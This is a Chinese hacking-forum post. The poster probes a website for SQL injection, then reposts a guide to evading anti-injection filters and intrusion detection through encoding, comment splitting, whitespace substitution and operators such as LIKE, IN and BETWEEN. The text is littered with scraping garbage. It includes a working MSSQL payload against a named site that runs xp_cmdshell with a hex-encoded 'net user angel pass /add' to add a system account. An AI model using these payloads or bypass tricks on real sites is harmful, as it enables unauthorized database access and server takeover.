路过这个网站,检测了一下.
0 l; ^8 n( w3 o% ~9 `4 y4 l& fhttp://www.xxx.cn/Article.asp?ID=117 and 1=1" ?7 W V( \$ N1 E! K) Z% B6 s+ U
直接返回主页
+ L% X7 r$ \% I# c {http://www.xxx.cn/Article.asp?ID=117 or 1=1
' r/ s" O$ S" I6 w6 Z0 z1 u直接返回主页: {3 W3 K2 d4 o% S% U& W" ]
http://www.xxx.cn/Article.asp?ID=117 or6 U+ |) T8 Z( e S" @
没有返回主页 没有过滤or
2 n' y% b) q+ e' {$ o/ {9 | B' Hhttp://www.xxx.cn/Article.asp?ID=117 and
* h/ }/ P) j) y9 @直接返回主页 看来过滤了and' \# Y) b) x% C. m! X# u) e
http://www.xxx.cn/Article.asp?ID=117 or 1
9 E8 h, U2 W6 W' C/ E7 c* G" }没有返回主页 即没有过滤or 也没有过滤1
( j+ `2 u! `4 Z" ihttp://www.xxx.cn/Article.asp?ID=117 or 1=1- G: |7 x: u( j, y/ q! X6 Z
直接返回主页 很明显过滤了等号 8 ^) a) D }7 S! P( }
or的特性是与and相反的.9 S7 c- `/ p7 E& U2 r. b1 Q
or 1=1 爆错 或与原页面不同8 V+ P* n1 Q+ N5 K; ~$ o
or 1=2 原页面相同
# M1 W8 U9 J0 ?! }$ d; S9 {这样就是一个注入点
( w4 L* l7 S3 p! `6 ?$ Y但他过滤了=号 我就用><号代替=号吧!
0 t* e4 h2 }! [8 h# Eor 1<2 很明显是正确的,所以应该与原页面不同 D5 M, m; W3 ]' e+ m
or 1>2 很明显是错误的,所以应该与原页面相同
, V, H+ ^* u) X* H0 C# ]# G然后看看有没有过滤其他的查询语句,比如select.
+ y! k3 b5 ?# }$ yhttp://www.xxx.cn/Article.asp?ID=117 select5 Z7 V2 ?) f) q
直接返回主页
: p- Y# k/ ?( r6 c8 ~, H/ v又迷茫了..
" A/ S7 q5 r- d& H: P Z9 l- C2 _9 h9 f4 o q
' n! o5 h$ Y1 b( y! M
cookies注入.和以下的方法全都试过了,都失败了.还有什么方法可以饶过吗
& h z+ M; Y, [/ n4 x这个系统我以为是my动力,后台却是这样的http://www.xxx.cn/admin.asp(应该不是假够台吧)
/ A( T5 ~& u* @& ~. S================================================
/ D( ^# ]- k/ J, Z* r" B以下是转贴:3 b7 x% W5 X. G
% S; e7 p( O9 V突然想我们是否可以用什么方法绕过SQL注入的限制呢?到网上考察了一下,提到的方法大多都是针对AND与“’”号和“=”号过滤的突破,虽然有点进步的地方,但还是有一些关键字没有绕过,由于我不常入侵网站所以也不敢对上述过滤的效果进行评论,但是可以肯定的是,效果不会很好…… / e" E5 ]: Z& g0 @. Y8 W+ H
经过我的收集,大部分的防注入程序都过滤了以下关键字:
) ~3 [$ W- H7 G& q8 D- ?and | select | update | chr | delete | %20from | ; | insert | mid | master. | set | = & B- |3 f! @5 q6 e3 x; g7 Q% u
而这里最难处理的就是select这个关键字了,那么我们怎样来突破他们呢?问题虽未完全解决,但还是说出来与大家分享一下,希望能抛砖引玉。 q3 v2 n0 Z9 {- w. I; ~
对于关键字的过滤,以下是我收集的以及我个人的一些想法。 ) N9 V/ B* C9 Q6 H) H
1、运用编码技术绕过 ( t1 [7 L+ E! y
如URLEncode编码,ASCII编码绕过。例如or 1=1即
8 O: c7 t8 t( U# v$ N. V$ H, P+ A6 Q" O%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。 ' y' z% @( q; V# J/ R8 d) ^6 D
9 b; V) X8 V3 W- E2 P
2、通过空格绕过
& S) O5 B ^' |: c如两个空格代替一个空格,用Tab代替空格等,或者删除所有空格,如 ! K7 X: H$ s o! L, x3 ~1 z" I
or’ swords’ =‘swords’ / }7 q4 A! h* L. a& T
,由于mssql的松散性,我们可以把or ’swords’ 之间的空格去掉,并不影响运行。 7 }% v# g6 H" \& ?7 |
3、运用字符串判断代替 6 j8 s, w7 y) p( `% O, d- o( I
用经典的or 1=1判断绕过,如 $ F: J0 t- n$ V! G1 I# Y3 S% h* |
or ’swords’ =’swords’
8 S' @5 Z4 S J; V7 V4 t,这个方法就是网上在讨论的。 0 p- H& V6 j' d" O" O9 ^ T
4、通过类型转换修饰符N绕过
% _3 P6 r; n8 d+ o可以说这是一个不错的想法,他除了能在某种程度上绕过限制,而且还有别的作用,大家自己好好想想吧。关于利用,如or ’swords’ = N’ swords’ ,大写的N告诉mssql server 字符串作为nvarchar类型,它起到类型转换的作用,并不影响注射语句本身,但是可以避过基于知识的模式匹配IDS。 $ @' ~# g. E+ O# h
5、通过+号拆解字符串绕过
5 a: i2 P; Q: w效果值得考证,但毕竟是一种方法。如 9 Q# ~6 M! a& j
or ’swords’ =‘sw’ +’ ords’ ;EXEC(‘IN’ +’ SERT INTO ’+’ …..’ )
5 F! ?7 S" R4 r* C/ v6 M6 N3 H# H8 I! ]
6、通过LIKE绕过 . ?0 |! j D+ L- A+ m
以前怎么就没想到呢?如or
1 N2 h% U1 r$ S9 F9 n’swords’ LIKE ’sw’ 5 P' |2 O$ B/ m, K& s
!!!显然可以很轻松的绕过
9 E9 Q, Q- v4 J n“=”“>” ! E4 j1 U, @3 [' N6 P1 f
的限制…… ' U& r2 r4 q4 u" b
7、通过IN绕过
7 X `: K: i. j9 t) a与上面的LIKE的思路差不多,如 3 ^9 z3 m( m# l1 r! T' `2 M
or ’swords’ IN (’swords’)
1 l# |& O5 q& K/ u0 D1 C: j. q- v* g# u
8、通过BETWEEN绕过
# s9 E) r8 }& b. B7 l0 Z3 R( m如
( j6 G- ?7 j" M- Bor ’swords’ BETWEEN ’rw’ AND ’tw’ ' o+ o$ V/ J+ o1 w. h( w$ E$ y
- ^$ O% w+ b) i: A2 Z9、通过>或者<绕过 3 a9 W9 i8 n! N* r4 b5 e5 K. s0 K
or ’swords’ > ’sw’ , a1 c( T7 {0 P; H4 f
or ’swords’ < ’tw’
2 c5 W" m2 q) D# W" H4 Tor 1<3
! A! K* l- o1 Y/ M……
7 k/ i6 r. x0 S1 E; K" B10、运用注释语句绕过
O, U+ N. `+ z* |8 p2 \5 B" i用/**/代替空格,如: 7 X4 P/ ^+ ]5 Y, L# o
UNION /**/ Select /**/user,pwd,from tbluser 1 D. }( l p0 r' [. h* L
3 c; }* s7 T' Y: R R, @
用/**/分割敏感词,如: 9 l o$ p8 [6 V7 w0 M
U/**/ NION /**/ SE/**/ LECT /**/user,pwd from tbluser : R4 h" _, G2 V) a
' H: P3 {) ~, _ v0 G" D I: w
11、用HEX绕过,一般的IDS都无法检测出来
, y; T' t; J$ ~7 f* t' ~( i0x730079007300610064006D0069006E00 =hex(sysadmin)
7 e# J& O5 x0 Z1 s. [0x640062005F006F0077006E0065007200 =hex(db_owner) $ `/ @, ~# l6 l
另外,关于通用点的过滤方法,我们可以考虑采用赋值的方法,例如先声明一个变量a,然后把我们的指令赋值给a,然后调用变量a最终执行我们输入的命令。变量a可以是任何命令。如下: . B t3 G, ^5 }; X
declare @a sysname
- f4 w- P+ W- V ~" u select @a= ' M# Z$ w! ~& B/ \; ?# `: ~
exec master.dbo.xp_cmdshell @a
7 t6 G8 D+ K1 l, a效果
* b0 \0 K% r6 W! e# R9 O9 @4 {1 A% ahttp://www.ilikeplmm.com/show.asp?id=1;declare%20@a% [email=20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a]20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a[/email];-- ' o) x1 v) Y8 f6 k
& o1 |* T4 B6 J2 v: @3 D2 s
其中的 + S! B7 {- e& J; O
0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400 $ X, a3 `) p( V4 q- ^
就是
9 ^1 V2 j3 X# d* t8 L* M% B9 }“net user angel pass /add”. k$ z3 k# d4 L9 W; |5 C
0 U, u8 E6 H; D
一直以来都以为只有空格,tab键和注释符/**/可以用来切割sql关键字,段时间在邪八看了风迅cms注入漏洞那篇帖子,才知道原来回车也可以用来作为分割符(以前竟然没有想到,真是失败)。回车的ascii码是chr(13)&chr(10),至于为什么要两个连在一起,这个我也不知道。转换成url编码形式是%0d%0a,于是就可以用%0d%0a代替空格pass一些过滤空格的检查了。
8 L, O) [7 n+ u% H t& P& K9 M. r引申一下,只用%0d能正常执行语句吗?只用%0a呢?测试证明,用任意一种分割在mssql、mysql和access里面都是可以的。
: L' Z( j) b7 U1 t另外,关于mssql的多语句问题。我以前一直以为必须用分号作为语句的结尾,后来发现,完全不是那样。类似
I+ W* F; V1 ~; I/ q( l, gCopy code
5 i4 _1 E, g8 ^* d- `" k; ^/ Gselect * from table exec xp_cmdshell'xxxxxxxxxx'2 C; ~" C2 B @! ~/ l/ @
+ G" g, T0 { v0 ]- y
% \; p2 G, L3 Z( x9 ?
select * from table/**/exec xp_cmdshell'xxxxxxxxxx'
( B% Z- U& u+ Z$ m+ @! A2 K) G
; q2 v+ ~- C2 m b0 a
/ f3 F7 h f' M9 ?select * from table|---tab---|exec xp_cmdshell'xxxxxxxxxx'0 K9 G/ p! Q! ?) {# W- m5 h
2 d. O( \- w( x! q* f; c/ ]' ?
" u: |& l+ A$ @ sselect * from table|---enter---|exec xp_cmdshell'xxxxxxxxxx'
% _ d& ~- S# ?0 B" X8 b5 Z5 B* _7 J$ A3 Y# s
的语句都是可以正常执行的。而我以前竟然一直不知道!不过这个貌似跟连接数据库驱动有关系,odbc可以正常执行,sqloledb的话就会报错。有兴趣的继续研究吧?$ o& g3 u8 U, e: Q$ e& W: J# u. Q
- i7 l6 D. U- A' L: r, A- [5 s/ i这样,以后遇到带空格过滤关键字的拦截程序,又可以发挥发挥了' S$ U; `. T# a5 J
可能大家早就知道了,不管怎么说,发在这里吧!
! i% s# \0 z2 D i7 ?* Z) ^$ M0 ^# [
最近想起可能还有些ascii码可以用来在sql语句中代替空格,于是写个脚本测试了一下,结果在所有128个低位ascii字符中,chr(12)也可以在access里用,不过貌似chr(12)不能出现在and、or之类的关键词附近,原因不清楚。mysql中比access多一个chr(11)可以。至于mssql,挖日,直接从1到32的ascii码换成字符后都可以正常使用。) q8 E' V: u" g x5 b
' f5 R# \+ u( H) k6 P/ C5 N
. t2 Z1 I) K$ v6 K$ z' d+ A
\. E7 k3 E- i8 ]2 I7 ]9 P) u对于中间应该出现空格的地方,用()进行替换,不过,对于很复杂的SQL语句就不太好用了。上面说到的是字符型的,如果是数值型,可以在id=1后加一个括号,不过这个我没有测试,
- P) b8 S" @6 R, S1 U0 D比如:jmdcw.asp?id=(1)and(select.....),应该是可行的吧? 0 M9 N0 y: S+ Z2 {
8 p$ b0 K5 Y; T$ v' x5 E6 o" i |